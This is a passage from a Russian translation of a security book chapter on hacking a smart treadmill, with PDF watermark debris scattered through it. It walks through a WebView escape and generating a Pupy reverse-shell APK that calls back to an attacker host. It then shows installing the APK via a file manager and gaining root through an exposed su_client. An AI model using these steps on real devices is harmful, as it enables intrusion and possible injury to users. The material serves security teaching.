Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / практический хакинг.pdf
Скачиваний:
23
Добавлен:
19.04.2024
Размер:
31.35 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

После запуска этой команды вы должны увидеть видеоканалwза-

 

 

 

 

 

m

w Click

 

 

 

 

 

o

 

w

 

 

 

 

 

 

 

 

хваченной камеры.Можете посмотреть видео,демонстрирующее этуdf-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

методику, на веб-сайте этой книги по адресу https://nostarch.com/prac- tical-iot-hacking/.

Существуют способы безопасной передачи видеопотоков, которые предотвратят атаки типа «человек посередине», но в настоящее вре- мя их поддерживают лишь немногие устройства. Одним из решений может быть использование нового протокола Secure RTP (SRTP), ко- торый может обеспечить шифрование, аутентификацию сообщений и целостность, но обратите внимание, что эти функции являются необязательными и могут быть отключены. Иногда их отключают, чтобы избежатьнакладных расходов на шифрование,поскольку мно- гие встроенные устройства не имеют необходимой вычислительной мощности для его поддержки.Существуюттакже способы отдельного шифрования RTP, как описано в RFC 7201. Среди них использование

IPsec, RTP через TLS через TCP или RTP через Datagram TLS (DTLS).

Атака на умную беговую дорожку

Как злоумышленник, вы теперь имеете неограниченный доступ ко всем помещениям в доме и можете проверить, попадаете ли вы в поле зрения камер видеонаблюдения,воспроизведя видео.Следую- щий шаг – использование вашего физического доступа для дальней- шихатакнадругиеинтеллектуальныеустройствасцельюизвлечения конфиденциальных данных или даже для выполнения ими нежела- тельных действий.Что,если по вашей прихоти эти умные устройства ополчатся против своего владельца, да так, что внешне это будет по- хоже на несчастный случай?

Хороший пример умных домашних устройств, которые вы можете использоватьдлятаких злонамеренных целей,–техника из категории «фитнес и здоровье», например всевозможные приборы, отслежива- ющие движения, электрические зубные щетки, умные весы и тре- нажеры. Эти устройства могут собирать конфиденциальные данные о действиях пользователя в режиме реального времени. Некоторые из них также могут повлиять на здоровье пользователя. Помимо про- чего, устройства могут быть оснащены высококачественными датчи- ками, предназначенными для определения состояния пользователя; системы отслеживания активности отслеживают его мышечную дея- тельность; в облако могут записываться регулярно фиксируемые ме- дицинские данные; благодаря подключению к интернету допускается общение с пользователями аналогичных устройств в режиме реаль- ноговремени,авоспроизведениемультимедиапревращаетфитнес-у- стройство в современную информационно-развлекательную систему.

Вэтомразделемыопишематакунаустройство,котороеобъединяет­ всеэтиудивительныефункции:этоумнаябеговаядорожка(рис.15.12).

Умные беговыедорожки–одно из самых замечательных устройств для тренировки дома или в спортзале, но, если оно вышло из-под контроля­ , вы рискуете получить серьезные травмы.

Взлом умного дома  443

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

Воспроизведениеo

w

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

-xchaмультимедиа

 

 

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

Отслеживание действий

Соцсети

Рис.15.12.Современная интеллектуальная беговая дорожка

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

Индивидуальные

 

 

df

 

 

n

e

 

 

 

 

-x cha

 

 

 

 

тренировки

Взаимодействие с другими пользователями в реальном времени

Экранные кнопки

Атака, описанная в этом разделе, основана на презентации, сде- ланной на конференции по безопасности­ интернета вещей одним из авторов этой книги, Иоаннисом Стаисом, и Димитрисом Валсамара- сом (Dimitris Valsamaras) в 2019 году. По соображениям безопасности­

мы не разглашаем название поставщика интеллектуальной беговой дорожки и точную модель устройства. Хотя поставщик очень бы- стро решил выявленные проблемы, вероятно, что некоторые из этих устройств до сих пор не обновлены. Так из иначе, проблемы, кото- рыемыобнаружили,–этоклассическиеуязвимости,характерныедля интеллектуальных устройств; и они наглядно показывают,что может произойти с устройством интернета вещей в современном умном доме.

Умные беговые дорожки и операционная система

Android

Многие умные беговые дорожки используют операционную систему Android, которой оснащено более миллиарда телефонов, планшетов, часов ителевизоров.Используя устройства под управлениемAndroid, вы автоматически получаете значительные преимущества: специа- лизированные библиотеки и ресурсы для быстрой разработки при- ложений и мобильные приложения, доступные в Google Play Store, которые можно напрямую интегрировать в продукт. Кроме того, вам предоставлена поддержка для расширенной системы устройств всех форм и размеров, включая смартфоны, планшеты (AOSP), автомоби-

ли (Android Auto), умные часы (Android Wear), телевизоры (Android TV), встроенные системы (Android Things), а также обширная офи- циальная документация, которая поставляется с онлайн-курсами

444  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и учебными материалами для разработчиков. Кроме того, многие

 

 

 

 

 

m

 

 

 

w Click

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

производители и продавцы оригинального оборудования могут преd-f-x chan

.c

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

доставлять совместимые аппаратные компоненты.

 

 

 

 

 

 

 

 

 

 

 

 

 

Новсехорошееимеетсвоюцену:ОСAndroidрискуетстатьслишком

 

 

 

 

 

 

универсальной. Она обеспечивает гораздо больше функциональных

 

 

 

 

 

 

возможностей,чемтребуется рядовому потребителю,увеличивая об-

 

 

 

 

 

 

щую поверхность атаки на устройства. Часто поставщики допускают

 

 

 

 

 

 

установку пользовательских приложений и программного обеспече-

 

 

 

 

 

 

ния, для которых отсутствует надлежащий аудит безопасности­

, и об-

 

 

 

 

 

 

ходят существующие средства управления безопасностью­

платфор-

 

 

 

 

 

 

мы, дабы реализовать основные функции своего продукта, такие как

 

 

 

 

 

 

управление оборудованием (см. пример на рис. 15.13).

 

 

 

 

 

 

 

 

 

 

 

 

 

Для управления средой, предоставляемой платформой, поставщи-

 

 

 

 

 

 

ки обычно используют один из двух возможных подходов.Они могут

 

 

 

 

 

 

интегрировать свой продукт с программным решением для управ-

 

 

 

 

 

 

ления мобильными устройствами (Mobile Device Management, MDM).

 

 

 

 

 

 

MDM – это набор технологий, которые можно использовать для уда-

 

 

 

 

 

 

ленного администрирования развертывания, безопасности­

, аудита

 

 

 

 

 

 

и применения политик мобильных устройств. В противном случае они могут создать свою собственную платформу на основе Android Open Source Project (AOSP).

AOSP можно бесплатно загрузить, настроить и установить на лю- бое поддерживаемое устройство. Оба решения предлагают множе- ство способов ограничить функции, предоставляемые платформой, и предоставить пользователям доступ только к некоторым функ­ циям.

Пользовательский интерфейс и приложения производителя

Общая платформа

(например,Android OS)

ПО производителя для управления оборудованием

Оборудование устройства

Рис.15.13.Стек программного обеспечения умной беговой дорожки

Взлом умного дома  445

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

В рассматриваемом здесь устройстве используется настроенная

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

платформа на основе AOSP, оснащенная всеми необходимыми при-

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

ложениями.

Перехват управления интеллектуальной беговой дорожкой на базе Android

В этом разделе мы рассмотрим атаку на интеллектуальную беговую дорожку, которая позволила нам удаленно контролировать скорость и наклон устройства.

Обход ограничений пользовательского интерфейса

Беговая дорожка настроена так, чтобы пользователь имел доступ только к избранным услугам и функциям. Например, он может запу- стить дорожку, выбрать конкретное упражнение и посмотреть теле- визор или послушать радиопередачу. Также можно пройти аутенти- фикацию на облачной платформе, чтобы отслеживать свой прогресс. Обойдя эти ограничения,мы можем установить службы для управле- ния устройством.

Злоумышленники, которые хотят обойти ограничения пользова- тельского интерфейса, обычно нацелены на экранные формы аутен- тификации и регистрации.Причина втом,что в большинстве случаев для этого требуется интеграция с браузером – либо для выполнения действийпоаутентификации,либодляпредоставлениядополнитель- ной информации. Эта интеграция обычно реализуется с использова- нием компонентов,предоставляемых платформойAndroid,таких как объекты WebView. WebView – функция, которая позволяет разработ- чикам отображать текст,данные и веб-контент как часть интерфейса приложения,нетребуядополнительного программного обеспечения. Несмотря на то что эта функция полезна для разработчиков, она вы- полняетмножествоопераций,которыенелегкозащитить,и,какслед- ствие, часто становится мишенью для злоумышленников.

Внашем случае мы можем использовать следующий процесс для обхода ограничений пользовательского интерфейса.Сначала нажми- те кнопку Create New Account (Создать учетную запись) на экране устройства. Должен появиться новый интерфейс, запрашивающий личные данные пользователя. Этот интерфейс содержит ссылку на политику конфиденциальности – файл, представленный в WebView (см. рис. 15.14).

Вполитике конфиденциальности есть и другие ссылки, например на политику в отношении файлов cookie (рис. 15.15).

К счастью, этот файл политики содержит внешние ссылки на ре- сурсы, размещенные на удаленных серверах, например те, которые отображаются в виде значка на верхней панели на рис. 15.16.

Выбрав ссылку,злоумышленник может перейти на сайт поставщи- ка и получить контент, к которому у него не было доступа раньше, например меню сайта, изображения, видео и последние новости.

446  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.15.14.Интерфейс регистрации со ссылками на политику конфиденциальности

Рис.15.15.WebView,отображающий локальный файл политики конфиденциальности

Последний шаг–попытаться выйти из облачной службы и посетить любой пользовательский веб-сайт. Наиболее распространенными це- лямиобычноявляютсякнопкипоискавнешнихсайтов,которыепока- заны на рис. 15.17, поскольку они позволяют получить доступ к любо- мудругомусайту,простовыполнивпоискпоегоназваниюилиадресу.

В нашем случае на сайте поставщика интегрирована поисковая си- стема Google, поэтому посетители сайта могут выполнять локальный поиск в содержимом веб-сайта. Злоумышленник может щелкнуть небольшой значок Google в верхнем левом углу окна экрана, чтобы перейтинастраницупоискаGoogle.Теперьмыможемперейтиналю- бой сайт, набрав имя сайта в поисковой системе.

Взлом умного дома  447

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.15.16.Ссылка на внешний сайт на странице файлов cookie

Рис.15.17.Внешний сайт,содержащий ссылки на поисковую систему Google

В качестве альтернативы злоумышленники могут воспользоваться функцией входа в систему через Facebook (рис.15.18),потому что при этом открывается новое окно браузера.

Щелкнув логотип Facebook, показанный на рис. 15.19, мы можем выйти из WebView в новое окно браузера, которое позволяет нам по- лучить доступ к строке URL-адреса и перейти на другие сайты.

448  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.15.18.Интерфейс аутентификации ссылается на Facebook

Рис.15.19.Всплывающее окно со ссылкой на внешний сайт

Попытка получитьудаленный доступ к оболочке

Имея доступ к другим сайтам, злоумышленник теперь может ис- пользовать свои возможности просмотра веб-страниц для перехо- да к удаленно размещенному исполняемому файлу приложения Android, а затем попытаться напрямую скачать и установить его на устройство. Мы попробуем установить на компьютер беговой дорож- ки приложение Android, которое предоставит нам удаленный доступ к оболочке беговой дорожки; приложение называется агентом Pupy (https://github.com/n1nj4sec/pupy/).

Взлом умного дома  449

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Сначала нам нужно установить сервер Pupy в нашу систему. Ис-

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

df-x chan

 

o

 

пользуя инструмент Git для загрузки кода из удаленного репозито-

.

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

e

 

рия, перейдем к его папке и используем скрипт create-workspace.py для настройки среды:

$ git clone --recursive https://github.com/n1nj4sec/pupy $ cd pupy && ./create-workspace.py pupyws

Затем можно сгенерировать новый файл APK для Android с по­ мощью команды pupygen:

$ pupygen -f client -O android –o sysplugin.apk connect --host

192.168.1.5:8443

Параметр-f указывает,чтомыхотимсоздатьклиентскоеприложе- ние, параметр -O указывает, что это должен быть APK для платформ Android, параметр -o указывает имя приложения, параметр connect требует,чтобы приложение выполнило обратное соединение с серве- ромPupy,апараметр--host предоставляетадресIPv4ипорт,который прослушивает этот сервер.

Поскольку у нас естьвозможностьпереходитьна пользовательские веб-сайты через интерфейс беговой дорожки, мы можем разместить этот APK на веб-сервере и попытаться получить прямой доступ к бе- говой дорожке. К сожалению, попытавшись открыть APK, мы узна- ли, что беговая дорожка не позволяет устанавливать приложения с расширением APK, просто открывая их через WebView. Придется поискать другой способ.

Злоупотребление локальным файловым менеджером для установки APK

Воспользуемсядругойстратегией,чтобыпопытатьсязаразитьустрой- ство и получитьпостоянныйдоступ.Android WebView и веб-браузеры могут запускать действия в других приложениях, установленных на устройстве. Например, все устройства, оснащенные версией Android, более поздней, чем 4.4 (уровень API 19), позволяют пользователям просматривать и открывать документы, изображения и другие фай- лы, используя предпочитаемое ими средство просмотра документов в хранилище. В результате переход на веб-страницу, содержащую простую форму загрузки файлов (примерно такую, как на рис. 15.20), заставит Android искать установленные производителем программы диспетчера файлов.

К нашему удивлению, мы обнаружили, что окно браузера беговой дорожки может запускать пользовательское приложение диспетчера файлов, позволяя нам выбрать его имя из списка боковой панели во всплывающемокне,какпоказанонарис.15.21.Выделенноенамипри- ложение не является файловым менеджером Android по умолчанию

450  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

и, вероятно, было установлено как расширение Android, чтобы про-

 

 

 

 

 

m

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

изводителю устройства было удобнее выполнять файловые операцииdf.-x chan

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

Рис.15.20.Доступ к внешнему сайту,который запрашивает загрузку файла

Рис.15.21.Запуск локального файлового менеджера

Этот файловый менеджер обладает широкими функциональными возможностями: он может сжимать и распаковывать файлы и даже напрямую открыватьдругие приложения–функция,которой мы вос- пользуемся для установки пользовательского APK.В диспетчере фай- лов находим ранее загруженный файл APK и нажимаем кнопку Open (Открыть), как показано на рис. 15.22.

Установщик пакета Android, который является приложением An- droid по умолчанию, позволяющим устанавливать, обновлять и уда- лять приложения на устройстве, затем автоматически инициирует обычный процесс установки (рис. 15.23).

Взлом умного дома  451

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис.15.22.Злоупотребление локальным файловым менеджером для выполнения пользовательского APK

Рис.15.23.Запуск пользовательского APK из файлового менеджера

После установки агент Pupy инициирует обратное соединение с сервером Pupy, как показано ниже. Теперь мы можем использовать удаленную оболочку для выполнения команд на беговой дорожке в качестве локального пользователя.

[*] Session 1 opened (treadmill@localhost) (xx.xx.xx.xx:8080 <- yy.yy. yy.yy:43535)

>> sessions

id user hostname platform release os_arch proc_arch intgty_lvl address tags

---------------------------------------------------------------------------

1 treadmill localhost android 3.1.10 armv7l 32bit Medium yy.yy.yy.yy

452  Глава 15

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

BUY

 

 

Повышение привилегий

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

Следующий шаг – повышение привилегий. Один из способов добиться

 

 

 

 

 

 

 

этого – искать двоичные файлы SUID, являющиеся двоичными фай- лами, которые мы можем выполнять с использованием разрешений выбранного пользователя, даже если лицо, выполняющее их, имеет более низкие привилегии. Точнее, мы ищем двоичные файлы, кото- рыеможемвыполнятьотименисуперпользователяrootнаплатформе Android.Этидвоичные файлы распространены на устройствах IoT под управлением Android, поскольку они позволяют приложениям отда- вать команды оборудованию и выполнять обновления прошивки.

Обычно приложения Android работают в изолированных средах (часто называемых песочницами) и не могут получить доступ к дру- гимприложениямилисистеме.Ноприложениесправамисуперполь- зователя может выйти из своей изолированной среды и получить полный контроль над устройством.

Мы обнаружили, что можно повысить привилегии, злоупотребляя установленной на устройстве незащищенной службой SUID под на- званием su_server. Эта служба получала команды от других приложе- ний Android через сокеты домена Unix. Мы также обнаружили, что клиентский двоичный файл su_client установлен в системе. Клиент можно использовать для непосредственного выполнения команд с привилегиями root, как показано ниже:

$ ./su_client 'id > /sdcard/status.txt' && cat /sdcard/status.txt uid=0(root) gid=0(root) context=kernel

Входные данные выдают команду id, которая отображает имена пользователей и групп и числовые идентификаторы вызывающе- го процесса на стандартный вывод, а также перенаправляет вывод вфайл,расположенныйв/sdcard/status.txt.Используякомандуcat,ко- торая отображает содержимое файла, мы получаем вывод и проверя- ем,что команда была выполнена с разрешениями суперпользователя.

Мы предоставили команды как аргументы командной строки между одинарными кавычками. Обратите внимание, что двоичный файл клиента напрямую не возвращал пользователю никакой вывод команды­ , поэтому нам пришлось сначала записать результат в файл на SD-карте.

